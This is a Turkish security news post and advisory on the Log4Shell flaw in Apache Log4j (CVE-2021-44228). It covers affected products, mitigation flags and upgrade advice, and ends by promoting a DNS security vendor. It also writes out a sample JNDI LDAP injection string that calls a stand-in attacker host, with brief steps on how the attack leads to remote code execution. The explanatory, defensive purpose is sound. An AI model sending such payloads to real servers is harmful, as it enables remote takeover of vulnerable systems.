Java Log4j Zafiyeti Tespiti ve Alınabilecek önlemler
Apache Software Foundation, Apache Logging Project’in bir parçası olan popüler Log4j günlük kitaplığındaki(framework) güvenlik açığını ( CVE-2021-44228 ) düzelten bir acil durum güvenlik güncellemesi yayınladı . Yama, 2.15.0 sürümünün bir parçası olarak yayınlandı .
Güvenlik açığı Log4Shell olarak adlandırıldı ve CVSS güvenlik açığı derecelendirme ölçeğinde 10 üzerinden 10 puan aldı. Hata, uzaktan rastgele kod yürütülmesine (RCE) izin verir. Sorun, dün bilgi güvenliği araştırmacısı p0rz9’un Twitter’da bir PoC açığı yayınlamış olması ve güvenlik açığından uzaktan yararlanılabilmesi ve bunun için özel teknik beceriler gerektirmemesi nedeniyle daha da kötüleşiyor. Fakat açığın nisan hayatından itibaren olduğu öngörülüyor.
LunaSec şirketi , Log4Shell’in nasıl çalıştığını şöyle açıklıyor :
Güvenlik açığı, Java tabanlı uygulamaları ve Log4j kitaplığını kullanan sunucuları, dahili sistemlerinde belirli bir satırı günlüğe kaydetmeye zorlar. Bir uygulama veya sunucu bu tür günlükleri işlediğinde, bir dize, savunmasız sistemin, saldırganın kontrol edilen etki alanından kötü amaçlı bir komut dosyası yüklemesine ve çalıştırmasına neden olabilir. Sonuç, güvenlik açığı bulunan uygulama veya sunucunun tamamen ele geçirilmesi olacaktır.
Sorun başlangıçta Minecraft sunucularında hata aranırken keşfedildi, ancak Log4j neredeyse tüm kurumsal uygulamalarda ve Java sunucularında mevcut. Örneğin, kitaplık, Apache Struts, Apache Flink, Apache Druid, Apache Flume, Apache Solr, Apache Flink, Apache Kafka, Apache Dubbo vb. dahil olmak üzere Apache Software Foundation tarafından yayınlanan hemen hemen tüm kurumsal ürünlerde bulunabilir. Log4j ayrıca Redis, ElasticSearch, Elastic Logstash, Ghidra ve diğerleri dahil olmak üzere çeşitli açık kaynak projelerinde aktif olarak kullanılmaktadır.
Bu nedenle, bu ürünlerden herhangi birini kullanan şirketler de dolaylı olarak Log4Shell’e yönelik saldırılara karşı savunmasızdır, ancak bundan haberdar bile olabilirler. Bilgi güvenliği uzmanları, Apple, Amazon, Twitter, Cloudflare, Steam, Tencent, Baidu, DIDI, JD, NetEase ve muhtemelen binlerce başka şirketin çözümlerinin Log4Shell’e karşı savunmasız olabileceğini şimdiden bildiriyor.
Exploit nasıl kullanılıyor:
- Günlüğe kaydedilebilecek herhangi bir yere $ {jndi: ldap: //attacker.host/blabla} biçiminde özel olarak oluşturulmuş bir istek göndeririz.
- JNDI (Java Adlandırma ve Dizin Arayüzü), sırayla şablonu işler, LDAP aracılığıyla attacker.host’tan veri ister.
- Yanıtta, isteğe bağlı kod yürütmenize izin veren bir JAVA sınıfı verilir.
Geçici düzeltme:
JAVA_OPTS="-Dlog4j.formatMsgNoLookups=true" veya Log4j sürümlerini log4j-2.15.0-rc1 olarak güncelleyin.
Dün bazı kaynaklar CVE-2021-44228’in yalnızca log4j2.formatMsgNoLookps parametresi false olarak ayarlanmışsa yararlanılabileceğini yazdı. The Record Edition, KnownSec 404 Team şirketine göre Log4j 2.15.0 sürümünde bu parametrenin özellikle saldırıları önlemek için true olarak ayarlandığını bildiriyor. Bu, 2.15.0 sürümüne yükselten ve ardından bayrağı false olarak ayarlayan Log4j kullanıcılarının yeniden saldırılara açık olacağı anlamına gelir. Ayrıca, güncelleme yapmamış ancak bayrağı true olarak ayarlayan Log4j kullanıcıları, daha eski sürümlerde bile saldırıları engelleyebilecekler.
Ne yazık ki, bu aynı zamanda bu parametrenin varsayılan olarak false olarak ayarlandığı tüm eski sürümlerin risk altında olduğu anlamına gelir. Diğer bir deyişle, 2.10.0 ile başlayan Log4j’nin önceki tüm sürümleri savunmasızdır.
Bad Packets ve Greynoise uzmanlarına göre , birkaç siber suçlu Log4Shell’e karşı savunmasız olabilecek uygulamaları aramak için ağı zaten tarıyor, bu da yamaları yüklemek için neredeyse hiç zaman olmadığı anlamına geliyor.
Bu açığı güvenlik tarafında SIEM korelasyonları ile görülebilir, engellenebilir. Ama doğrudan Roksit Secure DNS gibi DNS logları üzerinden çalışan firmaları kullanarak hem bulaş engellenir hemde enfekte olmuş cihazlar tespiti sağlanır.